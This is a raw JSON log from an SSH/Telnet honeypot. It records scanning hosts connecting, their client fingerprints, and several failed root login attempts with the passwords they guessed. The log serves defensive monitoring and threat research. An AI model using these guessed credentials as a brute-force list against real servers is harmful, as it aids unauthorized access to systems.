{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":56088,"dst_ip":"10.17.0.5","dst_port":22,"session":"c46288216ee4","protocol":"ssh","message":"New connection: 103.173.227.57:56088 (10.17.0.5:22) [session: c46288216ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:13.872763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:13.877438Z","src_ip":"103.173.227.57","session":"c46288216ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:14.120174Z","src_ip":"103.173.227.57","session":"c46288216ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad12345","message":"login attempt [root/vlad12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:14.852893Z","src_ip":"103.173.227.57","session":"c46288216ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":44508,"dst_ip":"10.17.0.5","dst_port":22,"session":"821e4ae7d9fc","protocol":"ssh","message":"New connection: 43.134.142.250:44508 (10.17.0.5:22) [session: 821e4ae7d9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:15.574390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:15.579300Z","src_ip":"43.134.142.250","session":"821e4ae7d9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":34944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8a6f131f731","protocol":"ssh","message":"New connection: 103.122.221.179:34944 (159.203.135.109:22) [session: b8a6f131f731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:15.782742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:15.787914Z","src_ip":"103.122.221.179","session":"b8a6f131f731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:15.818112Z","src_ip":"43.134.142.250","session":"821e4ae7d9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:16.053989Z","src_ip":"103.122.221.179","session":"b8a6f131f731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:16.102801Z","src_ip":"103.173.227.57","session":"c46288216ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:16.804058Z","src_ip":"43.134.142.250","session":"821e4ae7d9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09876543","message":"login attempt [root/09876543] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:16.852128Z","src_ip":"103.122.221.179","session":"b8a6f131f731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:18.046475Z","src_ip":"43.134.142.250","session":"821e4ae7d9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:18.120515Z","src_ip":"103.122.221.179","session":"b8a6f131f731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00272583961487,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:19.677725Z","src_ip":"152.42.224.71","session":"167f712a71b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46726,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1f6912edb2","protocol":"telnet","message":"New connection: 152.42.224.71:46726 (10.17.0.5:23) [session: 6f1f6912edb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:20.419355Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46732,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7b1ba8a935","protocol":"telnet","message":"New connection: 152.42.224.71:46732 (10.17.0.5:23) [session: ce7b1ba8a935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:21.910781Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":48226,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f7f1649fc2","protocol":"ssh","message":"New connection: 79.117.24.180:48226 (10.17.0.5:22) [session: 17f7f1649fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:29.005018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:29.010448Z","src_ip":"79.117.24.180","session":"17f7f1649fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44554,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ff0cdc74ee","protocol":"telnet","message":"New connection: 152.42.224.71:44554 (10.17.0.5:23) [session: 37ff0cdc74ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:29.015449Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:29.118617Z","src_ip":"79.117.24.180","session":"17f7f1649fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123456","message":"login attempt [root/abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:29.582560Z","src_ip":"79.117.24.180","session":"17f7f1649fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:30.693316Z","src_ip":"79.117.24.180","session":"17f7f1649fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44566,"dst_ip":"10.17.0.5","dst_port":23,"session":"393fffc8c658","protocol":"telnet","message":"New connection: 152.42.224.71:44566 (10.17.0.5:23) [session: 393fffc8c658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:32.689824Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44580,"dst_ip":"10.17.0.5","dst_port":23,"session":"323f4736154f","protocol":"telnet","message":"New connection: 152.42.224.71:44580 (10.17.0.5:23) [session: 323f4736154f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:33.929451Z"}
{"eventid":"cowrie.session.closed","duration":32.47946500778198,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:36.729426Z","src_ip":"152.42.224.71","session":"3bd92c0ff1ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.321113586425781,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:40.336480Z","src_ip":"152.42.224.71","session":"37ff0cdc74ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"def0fe011444","protocol":"ssh","message":"New connection: 109.172.54.111:41964 (159.203.135.109:22) [session: def0fe011444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:41.216489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:41.225008Z","src_ip":"109.172.54.111","session":"def0fe011444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:41.312560Z","src_ip":"109.172.54.111","session":"def0fe011444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321321321","message":"login attempt [root/321321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:41.836021Z","src_ip":"109.172.54.111","session":"def0fe011444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:42.944170Z","src_ip":"109.172.54.111","session":"def0fe011444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57430,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d4f7b0e25a0","protocol":"telnet","message":"New connection: 152.42.224.71:57430 (10.17.0.5:23) [session: 6d4f7b0e25a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:43.872285Z"}
{"eventid":"cowrie.session.closed","duration":11.35823655128479,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:44.047956Z","src_ip":"152.42.224.71","session":"393fffc8c658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd09833bce77","protocol":"telnet","message":"New connection: 152.42.224.71:59638 (10.17.0.5:23) [session: fd09833bce77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:47.740252Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49466,"dst_ip":"10.17.0.5","dst_port":23,"session":"45bc760bc929","protocol":"telnet","message":"New connection: 152.42.224.71:49466 (10.17.0.5:23) [session: 45bc760bc929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:58.180341Z"}
{"eventid":"cowrie.session.closed","duration":39.446388244628906,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:54:59.865643Z","src_ip":"152.42.224.71","session":"6f1f6912edb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.09121584892273,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:00.963281Z","src_ip":"152.42.224.71","session":"6d4f7b0e25a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.35144567489624,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:03.280802Z","src_ip":"152.42.224.71","session":"323f4736154f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00347638130188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:05.586235Z","src_ip":"152.42.224.71","session":"1fa3753e4cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":51084,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db4b01cc337","protocol":"ssh","message":"New connection: 171.244.37.103:51084 (10.17.0.5:22) [session: 6db4b01cc337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:10.109168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:10.114397Z","src_ip":"171.244.37.103","session":"6db4b01cc337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:10.365485Z","src_ip":"171.244.37.103","session":"6db4b01cc337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doctor","message":"login attempt [root/doctor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:11.389487Z","src_ip":"171.244.37.103","session":"6db4b01cc337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:12.641347Z","src_ip":"171.244.37.103","session":"6db4b01cc337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":46638,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a39268aff2","protocol":"ssh","message":"New connection: 43.156.63.254:46638 (10.17.0.5:22) [session: 71a39268aff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:14.471929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:14.477138Z","src_ip":"43.156.63.254","session":"71a39268aff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:14.723421Z","src_ip":"43.156.63.254","session":"71a39268aff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":42104,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a448a3d572f","protocol":"ssh","message":"New connection: 62.210.207.172:42104 (10.17.0.5:22) [session: 8a448a3d572f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:15.273277Z"}
